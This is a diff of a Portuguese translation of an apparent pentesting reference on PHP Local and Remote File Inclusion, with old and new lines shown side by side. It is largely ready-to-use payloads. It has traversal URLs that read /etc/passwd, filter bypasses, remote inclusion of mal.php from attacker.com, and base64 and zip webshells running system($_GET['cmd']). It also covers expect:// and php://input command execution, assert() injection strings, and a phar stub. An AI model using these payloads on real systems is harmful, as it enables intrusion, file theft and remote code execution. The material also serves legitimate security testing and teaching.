|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### De pasta existente
|
||||
### A partir de uma pasta existente
|
||||
|
||||
Talvez o back-end esteja verificando o caminho da pasta:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Explorando Diretórios do Sistema de Arquivos em um Servidor
|
||||
### Explorando diretórios do sistema de arquivos em um servidor
|
||||
|
||||
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Este processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
|
||||
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo segue um método detalhado para alcançar isso:
|
||||
|
||||
1. **Determinar a Profundidade do Diretório:** Aferir a profundidade do seu diretório atual ao buscar com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
||||
1. **Determine a profundidade do diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Procurar por Pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, e depois navegue de volta para `/etc/passwd`. O nível de diretório adicional requer aumentar a profundidade em um:
|
||||
2. **Sondar pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, então navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interprete os Resultados:** A resposta do servidor indica se a pasta existe:
|
||||
- **Erro / Sem Saída:** A pasta `private` provavelmente não existe na localização especificada.
|
||||
3. **Interpret the Outcomes:** A resposta do servidor indica se a pasta existe:
|
||||
- **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado.
|
||||
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
|
||||
4. **Exploração Recursiva:** Pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
|
||||
4. **Exploração Recursiva:** As pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
|
||||
|
||||
Para explorar diretórios em diferentes localizações no sistema de arquivos, ajuste a carga útil de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (supondo que o diretório atual esteja a uma profundidade de 3), use:
|
||||
Para explorar diretórios em locais diferentes do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Técnica de Truncamento de Caminho**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
O truncamento de caminho é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente utilizado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
|
||||
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
|
||||
|
||||
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
|
||||
No PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` são todos tratados como o mesmo caminho.
|
||||
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não muda o arquivo alvo.
|
||||
- Da mesma forma, se `.php` for adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são todas tratadas como o mesmo caminho.
|
||||
- Quando os últimos 6 caracteres são `passwd`, acrescentar uma `/` (fazendo `passwd/`) não altera o arquivo alvo.
|
||||
- Da mesma forma, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não altera o arquivo acessado.
|
||||
|
||||
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações da conta do usuário):
|
||||
Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
|
||||
Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar conforme a configuração do servidor.
|
||||
|
||||
- **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
|
||||
- **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, pode-se encontrar o número preciso de sequências de `../` necessárias para navegar até o diretório raiz e, em seguida, para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
||||
- **Começando com um Diretório Falso**: É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como uma medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
|
||||
- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos extras de ponto e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
|
||||
- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível descobrir o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
||||
- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Esta técnica é usada como medida de precaução ou para cumprir os requisitos da lógica de análise de caminhos do servidor.
|
||||
|
||||
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
|
||||
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz.
|
||||
|
||||
**Essa vulnerabilidade foi corrigida no PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Truques de bypass de filtro**
|
||||
### **Truques para contornar filtros**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -143,47 +143,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Inclusão Remota de Arquivo
|
||||
## Remote File Inclusion
|
||||
|
||||
Em php isso está desativado por padrão porque **`allow_url_include`** está **Desligado.** Deve estar **Ligado** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
|
||||
Em php isso está desativado por padrão porque **`allow_url_include`** está **Off.** Ele precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
|
||||
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver filtrando o acesso a páginas externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
|
||||
> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string acaba com isso e após o b64 decode essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
|
||||
|
||||
Outro exemplo **não usando o protocolo `php://`** seria:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python Elemento raiz
|
||||
|
||||
Em python em um código como este:
|
||||
Em Python, em um código como este:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é apenas removido**:
|
||||
Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Este é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
|
||||
|
||||
## Java Listar Diretórios
|
||||
## Java Listagem de diretórios
|
||||
|
||||
Parece que se você tiver uma Traversal de Caminho em Java e **pedir um diretório** em vez de um arquivo, um **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde sei).
|
||||
Parece que se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, **uma listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que eu saiba).
|
||||
|
||||
## 25 principais parâmetros
|
||||
## Top 25 parâmetros
|
||||
|
||||
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,18 +211,18 @@ Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI usando wrappers e protocolos PHP
|
||||
## LFI / RFI usando wrappers e protocolos do PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
Os filtros PHP permitem realizar **operações básicas de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
|
||||
Os filtros do PHP permitem executar operações básicas de **modificação nos dados** antes de serem lidos ou gravados. Existem 5 categorias de filtros:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
|
||||
- Note que este filtro desapareceu das versões modernas do PHP
|
||||
- Observe que esse filtro desapareceu das versões modernas do PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
@ -231,18 +231,18 @@ Os filtros PHP permitem realizar **operações básicas de modificação nos dad
|
||||
- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muitas informações)
|
||||
- `zlib.deflate`: Comprime o conteúdo (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Descomprime os dados
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Obsoleto
|
||||
- `mdecrypt.*` : Obsoleto
|
||||
- Outros Filtros
|
||||
- Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
|
||||
- Other Filters
|
||||
- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
|
||||
- `consumed`
|
||||
- `dechunk`: reverte a codificação HTTP em pedaços
|
||||
- `dechunk`: inverte a codificação HTTP chunked
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,29 +271,29 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> A parte "php://filter" é insensível a maiúsculas e minúsculas
|
||||
> A parte "php://filter" não diferencia maiúsculas de minúsculas
|
||||
|
||||
### Usando filtros php como oráculo para ler arquivos arbitrários
|
||||
### Usando php filters como oráculo para ler arquivos arbitrários
|
||||
|
||||
[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar um texto o suficiente para que o php lance uma exceção.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oráculo. Isso porque php filters podem ser usados para tornar um texto grande o suficiente para fazer o php lançar uma exceção.
|
||||
|
||||
No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:
|
||||
No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
|
||||
|
||||
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
|
||||
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php acionará um **erro**.
|
||||
- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal.
|
||||
- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro.
|
||||
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
|
||||
- Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
|
||||
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
|
||||
- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
|
||||
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer **pivotar com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
|
||||
- Use the codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente.
|
||||
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php disparará um **erro**
|
||||
- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for hexadecimal**, então podemos saber se o primeiro caractere é hex.
|
||||
- Isso, combinado com o anterior (e outros filtros dependendo da letra testada), nos permitirá adivinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hex, dechunk não o removerá e a bomba inicial fará o php gerar um erro.
|
||||
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto o dechunk não a apaga e o erro do php é acionado porque ela é multiplicada com a bomba inicial.
|
||||
- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
|
||||
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
|
||||
- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível alterar a ordem dos chars e trazer para a primeira posição outras letras do texto.
|
||||
- E para poder obter **dados adicionais** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivotarem com os próximos 2 bytes**, e d**eletar os dados até o junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até chegar ao bit desejado para leak.
|
||||
|
||||
No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
No post uma ferramenta para executar isso automaticamente também foi leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Este wrapper permite acessar descritores de arquivo que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -302,8 +302,8 @@ Você também pode usar **php://stdin, php://stdout e php://stderr** para acessa
|
||||
|
||||
### zip:// e rar://
|
||||
|
||||
Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
|
||||
Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**.
|
||||
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
|
||||
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
|
||||
Note que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect deve ser ativado. Você pode executar código usando isto:
|
||||
Expect precisa estar ativado. Você pode executar código usando isto:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`:
|
||||
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web usa funções como `include` para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,94 +354,95 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
|
||||
Para compilar o arquivo `.phar`, deve ser executado o seguinte comando:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual pode ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
|
||||
Após a execução, um arquivo chamado `test.phar` será criado, o que pode potencialmente ser aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
|
||||
|
||||
Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
|
||||
Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` ou `filesize()`, pode-se tentar explorar uma deserialization vulnerability. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
|
||||
|
||||
Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
|
||||
Para uma compreensão detalhada sobre a exploração de deserialization vulnerabilities no contexto de arquivos `.phar`, consulte o documento linkado abaixo:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
|
||||
Foi possível alocar chunks de tamanhos específicos abusando de mais filtros php.
|
||||
Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter um RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\
|
||||
Resumo muito rápido: um **3 byte overflow** no heap do PHP foi abusado para **alter the chain of free chunks** de um tamanho específico a fim de conseguir **write anything in any address**, então foi adicionado um hook para chamar **`system`**.\
|
||||
Foi possível alloc chunks de tamanhos específicos abusando de mais php filters.
|
||||
|
||||
### Mais protocolos
|
||||
### More protocols
|
||||
|
||||
Verifique mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Confira mais possíveis[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de Compressão
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nomes de caminho que correspondem ao padrão (não retorna nada imprimível, então não é realmente útil aqui)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar sistema de arquivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de áudio (não útil para ler arquivos arbitrários)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
||||
|
||||
## LFI via 'assert' do PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Os riscos de Inclusão de Arquivo Local (LFI) no PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
|
||||
Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos quando se lida com a função 'assert', que pode executar código contido em strings. Isso é particularmente problemático se uma entrada contendo caracteres de directory traversal como ".." estiver sendo verificada mas não devidamente sanitizada.
|
||||
|
||||
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretório assim:
|
||||
Por exemplo, código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Embora isso tenha como objetivo impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um invasor poderia usar:
|
||||
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um atacante poderia usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
|
||||
Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
É importante **URL-encodar esses payloads**.
|
||||
É importante **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido.
|
||||
